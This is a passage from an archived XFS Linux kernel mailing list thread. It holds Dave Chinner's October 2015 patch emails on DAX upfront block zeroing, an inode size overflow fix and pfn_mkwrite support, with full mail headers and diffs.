XFS_BMAPI_ZERO; + tp->t_flags |= XFS_TRANS_RESERVE; + } error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, resrtextents); /* @@ -221,7 +239,7 @@ xfs_iomap_write_direct( xfs_bmap_init(&free_list, &firstfsb); nimaps = 1; error = xfs_bmapi_write(tp, ip, offset_fsb, count_fsb, - XFS_BMAPI_PREALLOC, &firstfsb, resblks, imap, + bmapi_flags, &firstfsb, resblks, imap, &nimaps, &free_list); if (error) goto out_bmap_cancel; @@ -232,6 +250,7 @@ xfs_iomap_write_direct( error = xfs_bmap_finish(&tp, &free_list, &committed); if (error) goto out_bmap_cancel; + error = xfs_trans_commit(tp); if (error) goto out_unlock; -- 2.5.0 From dave@fromorbit.com Sun Oct 18 22:27:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3C9DA7F37 for ; Sun, 18 Oct 2015 22:27:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 12D678F8033 for ; Sun, 18 Oct 2015 20:27:39 -0700 (PDT) X-ASG-Debug-ID: 1445225256-04cbb035aa9e5f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id KC8jGBpKA2ce4L13 for ; Sun, 18 Oct 2015 20:27:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BHCAAlYiRW/2ieLHlegzaBAAFCqRQGkD+MJ4EgTQEBAQEBAYELhC4BBScvIxAIGDE5AxsZGYgWwz+GMIpHhEAFliOOdYdghWmELohJY4FKAUMDHYFpKjSFZwEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Mq-GW; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086X-FX; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 1/6] xfs: fix inode size update overflow in xfs_map_direct() Date: Mon, 19 Oct 2015 14:27:13 +1100 X-ASG-Orig-Subj: [PATCH 1/6] xfs: fix inode size update overflow in xfs_map_direct() Message-Id: <1445225238-30413-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1445225238-30413-1-git-send-email-david@fromorbit.com> References: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Both direct IO and DAX pass an offset and count into get_blocks that will overflow a s64 variable when an IO goes into the last supported block in a file (i.e. at offset 2^63 - 1FSB bytes). This can be seen from the tracing: xfs_get_blocks_alloc: [...] offset 0x7ffffffffffff000 count 4096 xfs_gbmap_direct: [...] offset 0x7ffffffffffff000 count 4096 xfs_gbmap_direct_none:[...] offset 0x7ffffffffffff000 count 4096 0x7ffffffffffff000 + 4096 = 0x8000000000000000, and hence that overflows the s64 offset and we fail to detect the need for a filesize update and an ioend is not allocated. This is *mostly* avoided for direct IO because such extending IOs occur with full block allocation, and so the "IS_UNWRITTEN()" check still evaluates as true and we get an ioend that way. However, doing single sector extending IOs to this last block will expose the fact that file size updates will not occur after the first allocating direct IO as the overflow will then be exposed. There is one further complexity: the DAX page fault path also exposes the same issue in block allocation. However, page faults cannot extend the file size, so in this case we want to allocate the block but do not want to allocate an ioend to enable file size update at IO completion. Hence we now need to distinguish between the direct IO patch allocation and dax fault path allocation to avoid leaking ioend structures. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 50 ++++++++++++++++++++++++++++++++++++++++++++------ fs/xfs/xfs_aops.h | 2 ++ fs/xfs/xfs_file.c | 6 +++--- 3 files changed, 49 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e4fff58..366e41eb 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1259,13 +1259,28 @@ xfs_vm_releasepage( * the DIO. There is only going to be one reference to the ioend and its life * cycle is constrained by the DIO completion code. hence we don't need * reference counting here. + * + * Note that for DIO, an IO to the highest supported file block offset (i.e. + * 2^63 - 1FSB bytes) will result in the offset + count overflowing a signed 64 + * bit variable. Hence if we see this overflow, we have to assume that the IO is + * extending the file size. We won't know for sure until IO completion is run + * and the actual max write offset is communicated to the IO completion + * routine. + * + * For DAX page faults, we are preparing to never see unwritten extents here, + * nor should we ever extend the inode size. Hence we will soon have nothing to + * do here for this case, ensuring we don't have to provide an IO completion + * callback to free an ioend that we don't actually need for a fault into the + * page at offset (2^63 - 1FSB) bytes. */ + static void xfs_map_direct( struct inode *inode, struct buffer_head *bh_result, struct xfs_bmbt_irec *imap, - xfs_off_t offset) + xfs_off_t offset, + bool dax_fault) { struct xfs_ioend *ioend; xfs_off_t size = bh_result->b_size; @@ -1278,6 +1293,16 @@ xfs_map_direct( trace_xfs_gbmap_direct(XFS_I(inode), offset, size, type, imap); + /* XXX: preparation for removing unwritten extents in DAX */ +#if 0 + if (dax_fault) { + ASSERT(type == XFS_IO_OVERWRITE); + trace_xfs_gbmap_direct_none(XFS_I(inode), offset, size, type, + imap); + return; + } +#endif + if (bh_result->b_private) { ioend = bh_result->b_private; ASSERT(ioend->io_size > 0); @@ -1292,7 +1317,8 @@ xfs_map_direct( ioend->io_size, ioend->io_type, imap); } else if (type == XFS_IO_UNWRITTEN || - offset + size > i_size_read(inode)) { + offset + size > i_size_read(inode) || + offset + size < 0) { ioend = xfs_alloc_ioend(inode, type); ioend->io_offset = offset; ioend->io_size = size; @@ -1354,7 +1380,8 @@ __xfs_get_blocks( sector_t iblock, struct buffer_head *bh_result, int create, - bool direct) + bool direct, + bool dax_fault) { struct xfs_inode *ip = XFS_I(inode); struct xfs_mount *mp = ip->i_mount; @@ -1467,7 +1494,8 @@ __xfs_get_blocks( set_buffer_unwritten(bh_result); /* direct IO needs special help */ if (create && direct) - xfs_map_direct(inode, bh_result, &imap, offset); + xfs_map_direct(inode, bh_result, &imap, offset, + dax_fault); } /* @@ -1514,7 +1542,7 @@ xfs_get_blocks( struct buffer_head *bh_result, int create) { - return __xfs_get_blocks(inode, iblock, bh_result, create, false); + return __xfs_get_blocks(inode, iblock, bh_result, create, false, false); } int @@ -1524,7 +1552,17 @@ xfs_get_blocks_direct( struct buffer_head *bh_result, int create) { - return __xfs_get_blocks(inode, iblock, bh_result, create, true); + return __xfs_get_blocks(inode, iblock, bh_result, create, true, false); +} + +int +xfs_get_blocks_dax_fault( + struct inode *inode, + sector_t iblock, + struct buffer_head *bh_result, + int create) +{ + return __xfs_get_blocks(inode, iblock, bh_result, create, true, true); } static void diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h index 86afd1a..d39ba25 100644 --- a/fs/xfs/xfs_aops.h +++ b/fs/xfs/xfs_aops.h @@ -58,6 +58,8 @@ int xfs_get_blocks(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); int xfs_get_blocks_direct(struct inode *inode, sector_t offset, struct buffer_head *map_bh, int create); +int xfs_get_blocks_dax_fault(struct inode *inode, sector_t offset, + struct buffer_head *map_bh, int create); void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate); extern void xfs_count_page_state(struct page *, int *, int *); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 2f7b6bd..7f873bc 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1508,7 +1508,7 @@ xfs_filemap_page_mkwrite( xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); if (IS_DAX(inode)) { - ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, + ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, xfs_end_io_dax_write); } else { ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); @@ -1543,7 +1543,7 @@ xfs_filemap_fault( * changes to xfs_get_blocks_direct() to map unwritten extent * ioend for conversion on read-only mappings. */ - ret = __dax_fault(vma, vmf, xfs_get_blocks_direct, NULL); + ret = __dax_fault(vma, vmf, xfs_get_blocks_dax_fault, NULL); } else ret = filemap_fault(vma, vmf); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); @@ -1570,7 +1570,7 @@ xfs_filemap_pmd_fault( sb_start_pagefault(inode->i_sb); file_update_time(vma->vm_file); xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); - ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_direct, + ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, xfs_end_io_dax_write); xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); sb_end_pagefault(inode->i_sb); -- 2.5.0 From dave@fromorbit.com Sun Oct 18 22:27:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 58D627F53 for ; Sun, 18 Oct 2015 22:27:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7AC2AC002 for ; Sun, 18 Oct 2015 20:27:38 -0700 (PDT) X-ASG-Debug-ID: 1445225254-04cbb035ab9e5f0002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id WDnoDxsdhdFhPsJp for ; Sun, 18 Oct 2015 20:27:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B5BgAlYiRW/2ieLHlegzaBQ6kUBpA/jCeBIE0BAQEBAQGBC4QuAQUnLyMQCBgxOQMbGYgvwz+GMIpHKYQXBZYjjnWNSYQuiEljgUoBgkwqNIVnAQEB Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Mu-IN; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086r-HO; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 5/6] xfs: add ->pfn_mkwrite support for DAX Date: Mon, 19 Oct 2015 14:27:17 +1100 X-ASG-Orig-Subj: [PATCH 5/6] xfs: add ->pfn_mkwrite support for DAX Message-Id: <1445225238-30413-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1445225238-30413-1-git-send-email-david@fromorbit.com> References: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225255 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner ->pfn_mkwrite support is needed so that when a page with allocated backing store takes a write fault we can check that the fault has not raced with a truncate and is pointing to a region beyond the current end of file. This also allows us to update the timestamp on the inode, too, which fixes a generic/080 failure. Signed-off-by: Dave Chinner --- fs/xfs/xfs_file.c | 35 +++++++++++++++++++++++++++++++++++ fs/xfs/xfs_trace.h | 1 + 2 files changed, 36 insertions(+) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 403151a..e7cf9ec 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1577,11 +1577,46 @@ xfs_filemap_pmd_fault( return ret; } +/* + * pfn_mkwrite was originally inteneded to ensure we capture time stamp + * updates on write faults. In reality, it's need to serialise against + * truncate similar to page_mkwrite. Hence we open-code dax_pfn_mkwrite() + * here and cycle the XFS_MMAPLOCK_SHARED to ensure we serialise the fault + * barrier in place. + */ +static int +xfs_filemap_pfn_mkwrite( + struct vm_area_struct *vma, + struct vm_fault *vmf) +{ + + struct inode *inode = file_inode(vma->vm_file); + struct xfs_inode *ip = XFS_I(inode); + int ret = VM_FAULT_NOPAGE; + loff_t size; + + trace_xfs_filemap_pfn_mkwrite(ip); + + sb_start_pagefault(inode->i_sb); + file_update_time(vma->vm_file); + + /* check if the faulting page hasn't raced with truncate */ + xfs_ilock(ip, XFS_MMAPLOCK_SHARED); + size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; + if (vmf->pgoff >= size) + ret = VM_FAULT_SIGBUS; + xfs_iunlock(ip, XFS_MMAPLOCK_SHARED); + sb_end_pagefault(inode->i_sb); + return ret; + +} + static const struct vm_operations_struct xfs_file_vm_ops = { .fault = xfs_filemap_fault, .pmd_fault = xfs_filemap_pmd_fault, .map_pages = filemap_map_pages, .page_mkwrite = xfs_filemap_page_mkwrite, + .pfn_mkwrite = xfs_filemap_pfn_mkwrite, }; STATIC int diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 957f5cc..877079eb 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -689,6 +689,7 @@ DEFINE_INODE_EVENT(xfs_inode_free_eofblocks_invalid); DEFINE_INODE_EVENT(xfs_filemap_fault); DEFINE_INODE_EVENT(xfs_filemap_pmd_fault); DEFINE_INODE_EVENT(xfs_filemap_page_mkwrite); +DEFINE_INODE_EVENT(xfs_filemap_pfn_mkwrite); DECLARE_EVENT_CLASS(xfs_iref_class, TP_PROTO(struct xfs_inode *ip, unsigned long caller_ip), -- 2.5.0 From dave@fromorbit.com Sun Oct 18 22:27:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0DBF87F3F for ; Sun, 18 Oct 2015 22:27:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DBF51304032 for ; Sun, 18 Oct 2015 20:27:37 -0700 (PDT) X-ASG-Debug-ID: 1445225254-04cbb035ab9e5f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id al3woGWJerQnuGqp for ; Sun, 18 Oct 2015 20:27:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2C4RQAlYiRW/2ieLHlegzZUb6h2AgEJEgaBDY8yhiqHHU0BAQEBAQGBC4UKIxiBAgOIYw7DMYYwiDOCPYQXBZYjhRmkHGOBSgEBAQcBAQEBgj8qNAGFZgEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Mp-G3; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086U-Er; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 0/6 V2] xfs: upfront block zeroing for DAX Date: Mon, 19 Oct 2015 14:27:12 +1100 X-ASG-Orig-Subj: [PATCH 0/6 V2] xfs: upfront block zeroing for DAX Message-Id: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225254 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This is an updated patch set that was first posted here: http://oss.sgi.com/archives/xfs/2015-10/msg00006.html I've dropped the DAX locking revert patch from it; that's on it's way to Linus via other channels and is essentially independent to this set of XFS changes. The only real change in the XFS code between the two versions is the addition of XFS_TRANS_RESERVE in the DAX path in xfs_iomap_write_direct() to allow it to dip into the reserve block pool for unwritten extent conversion rather than reporting ENOSPC. Patches are against 4.3-rc5 + XFS for-next branch. -Dave. From dave@fromorbit.com Sun Oct 18 22:27:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 57DC77F51 for ; Sun, 18 Oct 2015 22:27:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A3C5AAC001 for ; Sun, 18 Oct 2015 20:27:41 -0700 (PDT) X-ASG-Debug-ID: 1445225254-04cbb035ab9e5f0004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id mwgtxV4mHRcjX2bD for ; Sun, 18 Oct 2015 20:27:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B5BgAlYiRW/2ieLHlegzaBQ6kUBpA/jCeBIE0BAQEBAQGBC4QuAQUnLyMQCBgxOQMbGYgvwz+GMIpHhEAFhzuHB4dhnD6Md2OBSgFGHYFpKjSFZwEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2015 13:57:33 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zo16W-0008Mr-H1; Mon, 19 Oct 2015 14:27:20 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zo16W-00086c-G0; Mon, 19 Oct 2015 14:27:20 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: ross.zwisler@linux.intel.com, jack@suse.cz Subject: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents Date: Mon, 19 Oct 2015 14:27:14 +1100 X-ASG-Orig-Subj: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents Message-Id: <1445225238-30413-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1445225238-30413-1-git-send-email-david@fromorbit.com> References: <1445225238-30413-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1445225258 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23617 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To enable DAX to do atomic allocation of zeroed extents, we need to drive the block zeroing deep into the allocator. Because xfs_bmapi_write() can return merged extents on allocation that were only partially allocated (i.e. requested range spans allocated and hole regions, allocation into the hole was contiguous), we cannot zero the extent returned from xfs_bmapi_write() as that can overwrite existing data with zeros. Hence we have to drive the extent zeroing into the allocation code, prior to where we merge the extents into the BMBT and return the resultant map. This means we need to propagate this need down to the xfs_alloc_vextent() and issue the block zeroing at this point. While this functionality is being introduced for DAX, there is no reason why it is specific to DAX - we can per-zero blocks during the allocation transaction on any type of device. It's just slow (and usually slower than unwritten allocation and conversion) on traditional block devices so doesn't tend to get used. We can, however, hook hardware zeroing optimisations via sb_issue_zeroout() to this operation, so it may be useful in future and hence the "allocate zeroed blocks" API needs to be implementation neutral. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_alloc.c | 10 +++++++++- fs/xfs/libxfs/xfs_alloc.h | 8 +++++--- fs/xfs/libxfs/xfs_bmap.c | 25 +++++++++++++++++++++++-- fs/xfs/libxfs/xfs_bmap.h | 13 +++++++++++-- fs/xfs/xfs_bmap_util.c | 36 ++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_mount.h | 3 +++ 6 files changed, 87 insertions(+), 8 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index e926197..3479294 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -2509,7 +2509,7 @@ xfs_alloc_vextent( * Try near allocation first, then anywhere-in-ag after * the first a.g. fails. */ - if ((args->userdata == XFS_ALLOC_INITIAL_USER_DATA) && + if ((args->userdata & XFS_ALLOC_INITIAL_USER_DATA) && (mp->m_flags & XFS_MOUNT_32BITINODES)) { args->fsbno = XFS_AGB_TO_FSB(mp, ((mp->m_agfrotor / rotorstep) % @@ -2640,6 +2640,14 @@ xfs_alloc_vextent( XFS_AG_CHECK_DADDR(mp, XFS_FSB_TO_DADDR(mp, args->fsbno), args->len); #endif + + /* Zero the extent if we were asked to do so */ + if (args->userdata & XFS_ALLOC_USERDATA_ZERO) { + error = xfs_zero_extent(args->ip, args->fsbno, args->len); + if (error) + goto error0; + } + } xfs_perag_put(args->pag); return 0; diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index ca1c816..0ecde4d 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -101,6 +101,7 @@ typedef struct xfs_alloc_arg { struct xfs_mount *mp; /* file system mount point */ struct xfs_buf *agbp; /* buffer for a.g. freelist header */ struct xfs_perag *pag; /* per-ag struct for this agno */ + struct xfs_inode *ip; /* for userdata zeroing method */ xfs_fsblock_t fsbno; /* file system block number */ xfs_agnumber_t agno; /* allocation group number */ xfs_agblock_t agbno; /* allocation group-relative block # */ @@ -120,15 +121,16 @@ typedef struct xfs_alloc_arg { char wasdel; /* set if allocation was prev delayed */ char wasfromfl; /* set if allocation is from freelist */ char isfl; /* set if is freelist blocks - !acctg */ - char userdata; /* set if this is user data */ + char userdata; /* mask defining userdata treatment */ xfs_fsblock_t firstblock; /* io first block allocated */ } xfs_alloc_arg_t; /* * Defines for userdata */ -#define XFS_ALLOC_USERDATA 1 /* allocation is for user data*/ -#define XFS_ALLOC_INITIAL_USER_DATA 2 /* special case start of file */ +#define XFS_ALLOC_USERDATA (1 << 0)/* allocation is for user data*/ +#define XFS_ALLOC_INITIAL_USER_DATA (1 << 1)/* special case start of file */ +#define XFS_ALLOC_USERDATA_ZERO (1 << 2)/* zero extent on allocation */ xfs_extlen_t xfs_alloc_longest_free_extent(struct xfs_mount *mp, struct xfs_perag *pag, xfs_extlen_t need); diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index ab92d10..590cbec 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -3802,8 +3802,13 @@ xfs_bmap_btalloc( args.wasdel = ap->wasdel; args.isfl = 0; args.userdata = ap->userdata; - if ((error = xfs_alloc_vextent(&args))) + if (ap->userdata & XFS_ALLOC_USERDATA_ZERO) + args.ip = ap->ip; + + error = xfs_alloc_vextent(&args); + if (error) return error; + if (tryagain && args.fsbno == NULLFSBLOCK) { /* * Exact allocation failed. Now try with alignment @@ -4302,11 +4307,14 @@ xfs_bmapi_allocate( /* * Indicate if this is the first user data in the file, or just any - * user data. + * user data. And if it is userdata, indicate whether it needs to + * be initialised to zero during allocation. */ if (!(bma->flags & XFS_BMAPI_METADATA)) { bma->userdata = (bma->offset == 0) ? XFS_ALLOC_INITIAL_USER_DATA : XFS_ALLOC_USERDATA; + if (bma->flags & XFS_BMAPI_ZERO) + bma->userdata |= XFS_ALLOC_USERDATA_ZERO; } bma->minlen = (bma->flags & XFS_BMAPI_CONTIG) ? bma->length : 1; @@ -4421,6 +4429,17 @@ xfs_bmapi_convert_unwritten( mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; + /* + * Before insertion into the bmbt, zero the range being converted + * if required. + */ + if (flags & XFS_BMAPI_ZERO) { + error = xfs_zero_extent(bma->ip, mval->br_startblock, + mval->br_blockcount); + if (error) + return error; + } + error = xfs_bmap_add_extent_unwritten_real(bma->tp, bma->ip, &bma->idx, &bma->cur, mval, bma->firstblock, bma->flist, &tmp_logflags); @@ -4513,6 +4532,8 @@ xfs_bmapi_write( ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + ASSERT((flags & (XFS_BMAPI_METADATA | XFS_BMAPI_ZERO)) != + (XFS_BMAPI_METADATA | XFS_BMAPI_ZERO)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h index 6aaa0c1..a160f8a 100644 --- a/fs/xfs/libxfs/xfs_bmap.h +++ b/fs/xfs/libxfs/xfs_bmap.h @@ -52,9 +52,9 @@ struct xfs_bmalloca { xfs_extlen_t minleft; /* amount must be left after alloc */ bool eof; /* set if allocating past last extent */ bool wasdel; /* replacing a delayed allocation */ - bool userdata;/* set if is user data */ bool aeof; /* allocated space at eof */ bool conv; /* overwriting unwritten extents */ + char userdata;/* userdata mask */ int flags; }; @@ -109,6 +109,14 @@ typedef struct xfs_bmap_free */ #define XFS_BMAPI_CONVERT 0x040 +/* + * allocate zeroed extents - this requires all newly allocated user data extents + * to be initialised to zero. It will be ignored if XFS_BMAPI_METADATA is set. + * Use in conjunction with XFS_BMAPI_CONVERT to convert unwritten extents found + * during the allocation range to zeroed written extents. + */ +#define XFS_BMAPI_ZERO 0x080 + #define XFS_BMAPI_FLAGS \ { XFS_BMAPI_ENTIRE, "ENTIRE" }, \ { XFS_BMAPI_METADATA, "METADATA" }, \ @@ -116,7 +124,8 @@ typedef struct xfs_bmap_free { XFS_BMAPI_PREALLOC, "PREALLOC" }, \ { XFS_BMAPI_IGSTATE, "IGSTATE" }, \ { 